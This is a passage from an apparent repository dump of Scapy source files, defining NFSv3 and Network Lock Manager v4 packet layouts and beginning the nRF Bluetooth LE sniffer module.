pkt.attributes_follow == 1\n        ),\n        ConditionalField(\n            LongField('verifier', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            IntField('value_follows', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            PacketListField(\n                'files', None, File_From_Dir_Plus,\n                next_cls_cb=lambda pkt, lst, cur, remain:\n                File_From_Dir_Plus if pkt.value_follows == 1 and\n                (len(lst) == 0 or cur.value_follows == 1) and\n                len(remain) > 4 else None\n            ),\n            lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(IntField('eof', 0), lambda pkt: pkt.status == 0)\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nbind_layers(RPC, READDIRPLUS_Call, mtype=0)\nbind_layers(RPC, READDIRPLUS_Reply, mtype=1)\nbind_layers(\n    RPC_Call, READDIRPLUS_Call, program=100003, pversion=3, procedure=17\n)\n\n\nclass WRITE_Call(Packet):\n    name = 'WRITE Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object),\n        LongField('offset', 0),\n        IntField('count', 0),\n        IntEnumField('stable', 0, {0: 'UNSTABLE', 1: 'STABLE'}),\n        IntField('length', 0),\n        StrLenField('contents', b'', length_from=lambda pkt: pkt.length),\n        StrLenField('fill', b'', length_from=lambda pkt: (4 - pkt.length) % 4)\n    ]\n\n\nclass WRITE_Reply(Packet):\n    name = 'WRITE Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('af_before', 0),\n        ConditionalField(\n            PacketField('attributes_before', WCC_Attr(), WCC_Attr),\n            lambda pkt: pkt.af_before == 1\n        ),\n        IntField('af_after', 0),\n        ConditionalField(\n            PacketField('attributes_after', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_after == 1\n        ),\n        ConditionalField(IntField('count', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(\n            IntEnumField('committed', 0, {0: 'UNSTABLE', 1: 'STABLE'}),\n            lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            XLongField('verifier', 0), lambda pkt: pkt.status == 0\n        )\n    ]\n\n\nbind_layers(RPC, WRITE_Call, mtype=0)\nbind_layers(RPC, WRITE_Reply, mtype=1)\nbind_layers(RPC_Call, WRITE_Call, program=100003, pversion=3, procedure=7)\n\n\nclass COMMIT_Call(Packet):\n    name = 'COMMIT Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object),\n        LongField('offset', 0),\n        IntField('count', 0)\n    ]\n\n\nclass COMMIT_Reply(Packet):\n    name = 'COMMIT Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('af_before', 0),\n        ConditionalField(\n            PacketField('attributes_before', WCC_Attr(), WCC_Attr),\n            lambda pkt: pkt.af_before == 1\n        ),\n        IntField('af_after', 0),\n        ConditionalField(\n            PacketField('attributes_after', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_after == 1\n        ),\n        ConditionalField(\n            XLongField('verifier', 0), lambda pkt: pkt.status == 0\n        )\n    ]\n\n\nbind_layers(RPC, COMMIT_Call, mtype=0)\nbind_layers(RPC, COMMIT_Reply, mtype=1)\nbind_layers(\n    RPC_Call, COMMIT_Call, program=100003, pversion=3, procedure=21\n)\n\n\nclass SETATTR_Call(Packet):\n    name = 'SETATTR Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object),\n        PacketField('attributes', Sattr3(), Sattr3),\n        IntField('check', 0)\n    ]\n\n\nclass SETATTR_Reply(Packet):\n    name = 'SETATTR Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('af_before', 0),\n        ConditionalField(\n            PacketField('attributes_before', WCC_Attr(), WCC_Attr),\n            lambda pkt: pkt.af_before == 1\n        ),\n        IntField('af_after', 0),\n        ConditionalField(\n            PacketField('attributes_after', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_after == 1\n        )\n    ]\n\n\nbind_layers(RPC, SETATTR_Call, mtype=0)\nbind_layers(RPC, SETATTR_Reply, mtype=1)\nbind_layers(\n    RPC_Call, SETATTR_Call, program=100003, pversion=3, procedure=2\n)\n\n\nclass FSSTAT_Call(Packet):\n    name = 'FSSTAT Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object)\n    ]\n\n\nclass FSSTAT_Reply(Packet):\n    name = 'FSSTAT Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('attributes_follow', 0),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.attributes_follow == 1\n        ),\n        ConditionalField(LongField('tbytes', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(LongField('fbytes', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(LongField('abytes', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(LongField('tfiles', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(LongField('ffiles', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(LongField('afiles', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(IntField('invarsec', 0), lambda pkt: pkt.status == 0)\n    ]\n\n\nbind_layers(RPC, FSSTAT_Call, mtype=0)\nbind_layers(RPC, FSSTAT_Reply, mtype=1)\nbind_layers(\n    RPC_Call, FSSTAT_Call, program=100003, pversion=3, procedure=18\n)\n\n\nclass CREATE_Call(Packet):\n    name = 'CREATE Call'\n    fields_desc = [\n        PacketField('dir', File_Object(), File_Object),\n        PacketField('filename', Object_Name(), Object_Name),\n        IntEnumField('create_mode', None, {0: 'UNCHECKED',\n                                           1: 'GUARDED',\n                                           2: 'EXCLUSIVE'}),\n        ConditionalField(\n            PacketField('attributes', Sattr3(), Sattr3),\n            lambda pkt: pkt.create_mode != 2\n        ),\n        ConditionalField(\n            XLongField('verifier', 0), lambda pkt: pkt.create_mode == 2\n        )\n    ]\n\n\nclass CREATE_Reply(Packet):\n    name = 'CREATE Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        ConditionalField(\n            IntField('handle_follows', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            PacketField('filehandle', File_Object(), File_Object),\n            lambda pkt: pkt.status == 0 and pkt.handle_follows == 1\n        ),\n        ConditionalField(\n            IntField('attributes_follow', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.status == 0 and pkt.attributes_follow == 1\n        ),\n        IntField('af_before', 0),\n        ConditionalField(\n            PacketField('dir_attributes_before', WCC_Attr(), WCC_Attr),\n            lambda pkt: pkt.af_before == 1\n        ),\n        IntField('af_after', 0),\n        ConditionalField(\n            PacketField('dir_attributes_after', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_after == 1\n        )\n    ]\n\n\nbind_layers(RPC, CREATE_Call, mtype=0)\nbind_layers(RPC, CREATE_Reply, mtype=1)\nbind_layers(RPC_Call, CREATE_Call, program=100003, pversion=3, procedure=8)\n\n\nclass REMOVE_Call(Packet):\n    name = 'REMOVE Call'\n    fields_desc = [\n        PacketField('dir', File_Object(), File_Object),\n        PacketField('filename', Object_Name(), Object_Name)\n    ]\n\n\nclass REMOVE_Reply(Packet):\n    name = 'REMOVE Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('af_before', 0),\n        ConditionalField(\n            PacketField('attributes_before', WCC_Attr(), WCC_Attr),\n            lambda pkt: pkt.af_before == 1\n        ),\n        IntField('af_after', 0),\n        ConditionalField(\n            PacketField('attributes_after', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_after == 1\n        )\n    ]\n\n\nbind_layers(RPC, REMOVE_Call, mtype=0)\nbind_layers(RPC, REMOVE_Reply, mtype=1)\nbind_layers(\n    RPC_Call, REMOVE_Call, program=100003, pversion=3, procedure=12\n)\n\n\nclass READDIR_Call(Packet):\n    name = 'READDIR Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object),\n        LongField('cookie', 0),\n        XLongField('verifier', 0),\n        IntField('count', 0)\n    ]\n\n\nclass READDIR_Reply(Packet):\n    name = 'READDIR Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('attributes_follow', 0),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.attributes_follow == 1\n        ),\n        ConditionalField(\n            XLongField('verifier', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            IntField('value_follows', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            PacketListField(\n                'files', None, File_From_Dir,\n                next_cls_cb=lambda pkt, lst, cur, remain:\n                File_From_Dir if pkt.value_follows == 1 and\n                (len(lst) == 0 or cur.value_follows == 1) and\n                len(remain) > 4 else None\n            ),\n            lambda pkt: pkt.status == 0),\n        ConditionalField(IntField('eof', 0), lambda pkt: pkt.status == 0)\n    ]\n\n\nbind_layers(RPC, READDIR_Call, mtype=0)\nbind_layers(RPC, READDIR_Reply, mtype=1)\nbind_layers(\n    RPC_Call, READDIR_Call, program=100003, pversion=3, procedure=16\n)\n\n\nclass RENAME_Call(Packet):\n    name = 'RENAME Call'\n    fields_desc = [\n        PacketField('dir_from', File_Object(), File_Object),\n        PacketField('name_from', Object_Name(), Object_Name),\n        PacketField('dir_to', File_Object(), File_Object),\n        PacketField('name_to', Object_Name(), Object_Name),\n    ]\n\n\nclass RENAME_Reply(Packet):\n    name = 'RENAME Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('af_before_f', 0),\n        ConditionalField(\n            PacketField('attributes_before_f', WCC_Attr(), WCC_Attr),\n            lambda pkt: pkt.af_before_f == 1\n        ),\n        IntField('af_after_f', 0),\n        ConditionalField(\n            PacketField('attributes_after_f', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_after_f == 1\n        ),\n        IntField('af_before_t', 0),\n        ConditionalField(\n            PacketField('attributes_before_t', WCC_Attr(), WCC_Attr),\n            lambda pkt: pkt.af_before_t == 1\n        ),\n        IntField('af_after_t', 0),\n        ConditionalField(\n            PacketField('attributes_after_t', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_after_t == 1\n        )\n    ]\n\n\nbind_layers(RPC, RENAME_Call, mtype=0)\nbind_layers(RPC, RENAME_Reply, mtype=1)\nbind_layers(\n    RPC_Call, RENAME_Call, program=100003, pversion=3, procedure=14\n)\n\n\nclass LINK_Call(Packet):\n    name = 'LINK Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object),\n        PacketField('link_dir', File_Object(), File_Object),\n        PacketField('link_name', Object_Name(), Object_Name)\n    ]\n\n\nclass LINK_Reply(Packet):\n    name = 'LINK Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('af_file', 0),\n        ConditionalField(\n            PacketField('file_attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_file == 1\n        ),\n        IntField('af_link_before', 0),\n        ConditionalField(\n            PacketField('link_attributes_before', WCC_Attr(), WCC_Attr),\n            lambda pkt: pkt.af_link_before == 1\n        ),\n        IntField('af_link_after', 0),\n        ConditionalField(\n            PacketField('link_attributes_after', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_link_after == 1\n        )\n    ]\n\n\nbind_layers(RPC, LINK_Call, mtype=0)\nbind_layers(RPC, LINK_Reply, mtype=1)\nbind_layers(RPC_Call, LINK_Call, program=100003, pversion=3, procedure=15)\n\n\nclass RMDIR_Call(Packet):\n    name = 'RMDIR Call'\n    fields_desc = [\n        PacketField('dir', File_Object(), File_Object),\n        PacketField('filename', Object_Name(), Object_Name),\n    ]\n\n\nclass RMDIR_Reply(Packet):\n    name = 'RMDIR Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('af_before', 0),\n        ConditionalField(\n            PacketField('attributes_before', WCC_Attr(), WCC_Attr),\n            lambda pkt: pkt.af_before == 1\n        ),\n        IntField('af_after', 0),\n        ConditionalField(\n            PacketField('attributes_after', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_after == 1\n        )\n    ]\n\n\nbind_layers(RPC, RMDIR_Call, mtype=0)\nbind_layers(RPC, RMDIR_Reply, mtype=1)\nbind_layers(RPC_Call, RMDIR_Call, program=100003, pversion=3, procedure=13)\n\n\nclass READLINK_Call(Packet):\n    name = 'READLINK Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object)\n    ]\n\n\nclass READLINK_Reply(Packet):\n    name = 'READLINK Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('attributes_follow', 0),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.attributes_follow == 1\n        ),\n        ConditionalField(\n            PacketField('filename', Object_Name(), Object_Name),\n            lambda pkt: pkt.status == 0\n        )\n    ]\n\n\nbind_layers(RPC, READLINK_Call, mtype=0)\nbind_layers(RPC, READLINK_Reply, mtype=1)\nbind_layers(\n    RPC_Call, READLINK_Call, program=100003, pversion=3, procedure=5\n)\n\n\nclass READ_Call(Packet):\n    name = 'READ Call'\n    fields_desc = [\n        PacketField('filehandle', File_Object(), File_Object),\n        LongField('offset', 0),\n        IntField('count', 0)\n    ]\n\n\nclass READ_Reply(Packet):\n    name = 'READ Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        IntField('attributes_follow', 0),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.attributes_follow == 1\n        ),\n        ConditionalField(IntField('count', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(IntField('eof', 0), lambda pkt: pkt.status == 0),\n        ConditionalField(\n            IntField('data_length', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            StrLenField('data', b'', length_from=lambda pkt: pkt.data_length),\n            lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            StrLenField(\n                'fill', b'', length_from=lambda pkt: (4 - pkt.data_length) % 4\n            ),\n            lambda pkt: pkt.status == 0\n        )\n    ]\n\n\nbind_layers(RPC, READ_Call, mtype=0)\nbind_layers(RPC, READ_Reply, mtype=1)\nbind_layers(RPC_Call, READ_Call, program=100003, pversion=3, procedure=6)\n\n\nclass MKDIR_Call(Packet):\n    name = 'MKDIR Call'\n    fields_desc = [\n        PacketField('dir', File_Object(), File_Object),\n        PacketField('dir_name', Object_Name(), Object_Name),\n        PacketField('attributes', Sattr3(), Sattr3)\n    ]\n\n\nclass MKDIR_Reply(Packet):\n    name = 'MKDIR Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        ConditionalField(\n            IntField('handle_follows', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            PacketField('filehandle', File_Object(), File_Object),\n            lambda pkt: pkt.status == 0 and pkt.handle_follows == 1\n        ),\n        ConditionalField(\n            IntField('attributes_follow', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.status == 0 and pkt.attributes_follow == 1\n        ),\n        IntField('af_before', 0),\n        ConditionalField(\n            PacketField('dir_attributes_before', WCC_Attr(), WCC_Attr),\n            lambda pkt: pkt.af_before == 1\n        ),\n        IntField('af_after', 0),\n        ConditionalField(\n            PacketField('dir_attributes_after', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_after == 1\n        )\n    ]\n\n\nbind_layers(RPC, MKDIR_Call, mtype=0)\nbind_layers(RPC, MKDIR_Reply, mtype=1)\nbind_layers(RPC_Call, MKDIR_Call, program=100003, pversion=3, procedure=9)\n\n\nclass SYMLINK_Call(Packet):\n    name = 'SYMLINK Call'\n    fields_desc = [\n        PacketField('dir', File_Object(), File_Object),\n        PacketField('dir_name', Object_Name(), Object_Name),\n        PacketField('attributes', Sattr3(), Sattr3),\n        PacketField('link_name', Object_Name(), Object_Name)\n    ]\n\n\nclass SYMLINK_Reply(Packet):\n    name = 'SYMLINK Reply'\n    fields_desc = [\n        IntEnumField('status', 0, nfsstat3),\n        ConditionalField(\n            IntField('handle_follows', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            PacketField('filehandle', File_Object(), File_Object),\n            lambda pkt: pkt.status == 0 and pkt.handle_follows == 1\n        ),\n        ConditionalField(\n            IntField('attributes_follow', 0), lambda pkt: pkt.status == 0\n        ),\n        ConditionalField(\n            PacketField('attributes', Fattr3(), Fattr3),\n            lambda pkt: pkt.status == 0 and pkt.attributes_follow == 1\n        ),\n        IntField('af_before', 0),\n        ConditionalField(\n            PacketField('dir_attributes_before', WCC_Attr(), WCC_Attr),\n            lambda pkt: pkt.af_before == 1\n        ),\n        IntField('af_after', 0),\n        ConditionalField(\n            PacketField('dir_attributes_after', Fattr3(), Fattr3),\n            lambda pkt: pkt.af_after == 1\n        )\n    ]\n\n\nbind_layers(RPC, SYMLINK_Call, mtype=0)\nbind_layers(RPC, SYMLINK_Reply, mtype=1)\nbind_layers(\n    RPC_Call, SYMLINK_Call, program=100003, pversion=3, procedure=10\n)\n"
  },
  {
    "path": "scapy/contrib/nlm.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Lucas Preston <lucas.preston@infinite.io>\n\n# scapy.contrib.description = Network Lock Manager (NLM) v4\n# scapy.contrib.status = loads\n\nfrom scapy.contrib.oncrpc import RPC, RPC_Call, Object_Name\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import IntField, StrLenField, LongField, PacketField, \\\n    IntEnumField\nfrom scapy.contrib.nfs import File_Object\n\nnlm4_stats = {\n    0: 'NLM4_GRANTED',\n    1: 'NLM4_DENIED',\n    2: 'NLM4_DENIED_NOLOCKS',\n    3: 'NLM4_BLOCKED',\n    4: 'NLM4_DENIED_GRACE_PERIOD',\n    5: 'NLM4_DEADLCK',\n    6: 'NLM4_ROFS',\n    7: 'NLM4_STALE_FH',\n    8: 'NLM4_FBIG',\n    9: 'NLM4_FAILED'\n}\n\n\nclass NLM4_Cookie(Packet):\n    name = 'Cookie'\n    fields_desc = [\n        IntField('length', 0),\n        StrLenField('contents', '', length_from=lambda pkt: pkt.length),\n        StrLenField('fill', b'', length_from=lambda pkt: (4 - pkt.length) % 4)\n    ]\n\n    def set(self, c, length=None, fill=None):\n        if length is None:\n            length = len(c)\n        if fill is None:\n            fill = b'\\x00' * ((4 - len(c)) % 4)\n        self.length = length\n        self.contents = c\n        self.fill = fill\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass SHARE_Call(Packet):\n    name = 'SHARE Call'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        PacketField('caller', Object_Name(), Object_Name),\n        PacketField('filehandle', File_Object(), File_Object),\n        PacketField('owner', Object_Name(), Object_Name),\n        IntField('mode', 0),\n        IntField('access', 0),\n        IntEnumField('reclaim', 0, {0: 'NO', 1: 'YES'})\n    ]\n\n\nclass SHARE_Reply(Packet):\n    name = 'SHARE Reply'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        IntEnumField('status', 0, nlm4_stats),\n        IntField('sequence', 0)\n    ]\n\n\nbind_layers(RPC_Call, SHARE_Call, program=100021, pversion=4, procedure=20)\nbind_layers(RPC, SHARE_Call, mtype=0)\nbind_layers(RPC, SHARE_Reply, mtype=1)\n\n\nclass UNSHARE_Call(Packet):\n    name = 'UNSHARE Reply'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        PacketField('caller', Object_Name(), Object_Name),\n        PacketField('filehandle', File_Object(), File_Object),\n        PacketField('owner', Object_Name(), Object_Name),\n        IntField('mode', 0),\n        IntField('access', 0),\n        IntEnumField('reclaim', 0, {0: 'NO', 1: 'YES'})\n    ]\n\n\nclass UNSHARE_Reply(Packet):\n    name = 'UNSHARE Reply'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        IntEnumField('status', 0, nlm4_stats),\n        IntField('sequence', 0)\n    ]\n\n\nbind_layers(\n    RPC_Call, UNSHARE_Call, program=100021, pversion=4, procedure=21\n)\nbind_layers(RPC, UNSHARE_Call, mtype=0)\nbind_layers(RPC, UNSHARE_Reply, mtype=1)\n\n\nclass LOCK_Call(Packet):\n    name = 'LOCK Call'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        IntEnumField('block', 0, {0: 'NO', 1: 'YES'}),\n        IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}),\n        PacketField('caller', Object_Name(), Object_Name),\n        PacketField('filehandle', File_Object(), File_Object),\n        PacketField('owner', Object_Name(), Object_Name),\n        IntField('svid', 0),\n        LongField('l_offset', 0),\n        LongField('l_len', 0),\n        IntField('reclaim', 0),\n        IntField('state', 0)\n    ]\n\n\nclass LOCK_Reply(Packet):\n    name = 'LOCK Reply'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        IntEnumField('status', 0, nlm4_stats)\n    ]\n\n\nbind_layers(RPC_Call, LOCK_Call, program=100021, pversion=4, procedure=2)\nbind_layers(RPC, LOCK_Call, mtype=0)\nbind_layers(RPC, LOCK_Reply, mtype=1)\n\n\nclass UNLOCK_Call(Packet):\n    name = 'UNLOCK Call'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        PacketField('caller', Object_Name(), Object_Name),\n        PacketField('filehandle', File_Object(), File_Object),\n        PacketField('owner', Object_Name(), Object_Name),\n        IntField('svid', 0),\n        LongField('l_offset', 0),\n        LongField('l_len', 0)\n    ]\n\n\nclass UNLOCK_Reply(Packet):\n    name = 'UNLOCK Reply'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        IntEnumField('status', 0, nlm4_stats)\n    ]\n\n\nbind_layers(RPC_Call, UNLOCK_Call, program=100021, pversion=4, procedure=4)\nbind_layers(RPC, UNLOCK_Call, mtype=0)\nbind_layers(RPC, UNLOCK_Reply, mtype=1)\n\n\nclass GRANTED_MSG_Call(Packet):\n    name = 'GRANTED_MSG Call'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}),\n        PacketField('caller', Object_Name(), Object_Name),\n        PacketField('filehandle', File_Object(), File_Object),\n        PacketField('owner', Object_Name(), Object_Name),\n        IntField('svid', 0),\n        LongField('l_offset', 0),\n        LongField('l_len', 0)\n    ]\n\n\nclass GRANTED_MSG_Reply(Packet):\n    name = 'GRANTED_MSG Reply'\n    fields_desc = []\n\n\nbind_layers(\n    RPC_Call, GRANTED_MSG_Call, program=100021, pversion=4, procedure=10\n)\nbind_layers(RPC, GRANTED_MSG_Call, mtype=0)\nbind_layers(RPC, GRANTED_MSG_Reply, mtype=1)\n\n\nclass GRANTED_RES_Call(Packet):\n    name = 'GRANTED_RES Call'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        IntEnumField('status', 0, nlm4_stats)\n    ]\n\n\nclass GRANTED_RES_Reply(Packet):\n    name = 'GRANTED_RES Reply'\n    fields_desc = []\n\n\nbind_layers(\n    RPC_Call, GRANTED_RES_Call, program=100021, pversion=4, procedure=15\n)\nbind_layers(RPC, GRANTED_RES_Call, mtype=0)\nbind_layers(RPC, GRANTED_RES_Reply, mtype=1)\n\n\nclass CANCEL_Call(Packet):\n    name = 'CANCEL Call'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        IntEnumField('block', 0, {0: 'NO', 1: 'YES'}),\n        IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}),\n        PacketField('caller', Object_Name(), Object_Name),\n        PacketField('filehandle', File_Object(), File_Object),\n        PacketField('owner', Object_Name(), Object_Name),\n        IntField('svid', 0),\n        LongField('l_offset', 0),\n        LongField('l_len', 0)\n    ]\n\n\nclass CANCEL_Reply(Packet):\n    name = 'CANCEL Reply'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        IntEnumField('status', 0, nlm4_stats)\n    ]\n\n\nbind_layers(RPC_Call, CANCEL_Call, program=100021, pversion=4, procedure=3)\nbind_layers(RPC, CANCEL_Call, mtype=0)\nbind_layers(RPC, CANCEL_Reply, mtype=1)\n\n\nclass TEST_Call(Packet):\n    name = 'TEST Call'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}),\n        PacketField('caller', Object_Name(), Object_Name),\n        PacketField('filehandle', File_Object(), File_Object),\n        PacketField('owner', Object_Name(), Object_Name),\n        IntField('svid', 0),\n        LongField('l_offset', 0),\n        LongField('l_len', 0)\n    ]\n\n\nclass TEST_Reply(Packet):\n    name = 'TEST Reply'\n    fields_desc = [\n        PacketField('cookie', NLM4_Cookie(), NLM4_Cookie),\n        IntEnumField('status', 0, nlm4_stats)\n    ]\n\n\nbind_layers(RPC_Call, TEST_Call, program=100021, pversion=4, procedure=1)\nbind_layers(RPC, TEST_Call, mtype=0)\nbind_layers(RPC, TEST_Reply, mtype=1)\n"
  },
  {
    "path": "scapy/contrib/nrf_sniffer.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Michael Farrell <micolous+git@gmail.com>\n\n\"\"\"\nnRF sniffer\n\nFirmware and documentation related to this module is available at:\nhttps://www.nordicsemi.com/Software-and-Tools/Development-Tools/nRF-Sniffer\nhttps://github.com/adafruit/Adafruit_BLESniffer_Python\nhttps://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-nordic_ble.c\n\"\"\"\n\n# scapy.contrib.description = nRF sniffer\n# scapy.contrib.status = works\n\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.data import DLT_NORDIC_BLE\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    LEIntField,\n    LEShortField,\n    LenField,\n    ScalingField,\n)\nfrom scapy.layers.bluetooth4LE import BTLE\nfrom scapy.packet import Packet, bind_layers\n\n\n# nRF Sniffer v2\n\n\nclass NRFS2_Packet(Packet):\n    \"\"\"\n    nRF Sniffer v2 Packet\n    \"\"\"\n\n    fields_desc = [\n        LenField(\"len\", None, fmt=\"<H\", adjust=lambda x: x + 6),\n        ByteField(\"version\", 2),\n        LEShortField(\"counter\", None),\n        ByteEnumField(\n            \"type\",\n            None,\n            {\n                0x00: \"req_follow\",\n                0x01: \"event_follow\",\n                0x02: \"event_device\",  # missing from spreadsheet\n                0x03: \"req_single_packet\",  # missing from spreadsheet\n                0x04: \"resp_single_packet\",  # missing from spreadsheet\n                0x05: \"event_connect\",\n                0x06: \"event_packet\",\n                0x07: \"req_scan_cont\",\n                0x09: \"event_disconnect\",\n                0x0A: \"event_error\",  # missing from spreadsheet\n                0x0B: \"event_empty_data_packet\",  # missing from spreadsheet\n                0x0C: \"set_temporary_key\",\n                0x0D: \"ping_req\",\n                0x0E: \"ping_resp\",\n                0x0F: \"test_command_id\",  # missing from spreadsheet\n                0x10: \"test_result_id\",  # missing from spreadsheet\n                0x11: \"uart_test_start\",  # missing from spreadsheet\n                0x12: \"uart_dummy_packet\",  # missing from spreadsheet\n                0x13: \"switch_baud_rate_req\",  # not implemented in FW\n                0x14: \"switch_baud_rate_resp\",  # not implemented in FW\n                0x15: \"uart_out_start\",  # missing from spreadsheet\n                0x16: \"uart_out_stop\",  # missing from spreadsheet\n                0x17: \"set_adv_channel_hop_seq\",\n                0xFE: \"go_idle\",  # not implemented in FW\n            },\n        ),\n    ]\n\n    def answer(self, other):\n        if not isinstance(other, NRFS2_Packet):\n            return False\n\n        return (\n            (self.type == 0x01 and other.type == 0x00) or\n            (self.type == 0x0E and other.type == 0x0D) or\n            (self.type == 0x14 and other.type == 0x13)\n        )\n\n    def post_build(self, p, pay):\n        if self.hdr_len is None:\n            p = p[:1] + struct.pack(\"!B\", len(p)) + p[2:]\n        return p + pay\n\n\nclass NRF2_Ping_Request(Packet):\n    name = \"Ping request\"\n\n\nclass NRF2_Ping_Response(Packet):\n    name = \"Ping response\"\n    fields_desc = [\n        LEShortField(\"version\", None),\n    ]\n\n\nclass NRF2_Packet_Event(Packet):\n    name = \"Packet event (device variant)\"\n    fields_desc = [\n        ByteField(\"header_len\", 10),\n        # Flags (1 byte)\n        BitField(\"reserved\", 0, 1),\n        BitEnumField(\"phy\", None, 3, {0: \"le-1m\", 1: \"le-2m\", 2: \"le-coded\"}),\n        BitField(\"mic\", None, 1),\n        BitField(\"encrypted\", None, 1),\n        BitField(\"direction\", None, 1),\n        BitField(\"crc_ok\", 1, 1),\n        ByteField(\"rf_channel\", 0),\n        ScalingField(\"rssi\", -256, unit=\"dBm\", fmt=\"b\"),\n        LEShortField(\"event_counter\", 0),\n        LEIntField(\"delta_time\", 0),  # microseconds\n    ]\n\n\nbind_layers(NRFS2_Packet, NRF2_Ping_Request, type=0xD)\nbind_layers(NRFS2_Packet, NRF2_Ping_Response, type=0xE)\nbind_layers(NRFS2_Packet, NRF2_Packet_Event, type=0x6)\n\nbind_layers(NRF2_Packet_Event, BTLE)\n\n# Wire transport\n\n\nclass NRFS2_PCAP(Packet):\n    \"\"\"\n    PCAP headers for DLT_NORDIC_BLE.\n\n    Nordic's capture scripts either stick the COM port number (yep!) or a\n    random number at the start of every packet.\n\n    https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-nordic_ble.c\n\n    The only \"rule\" is that we can't start packets with 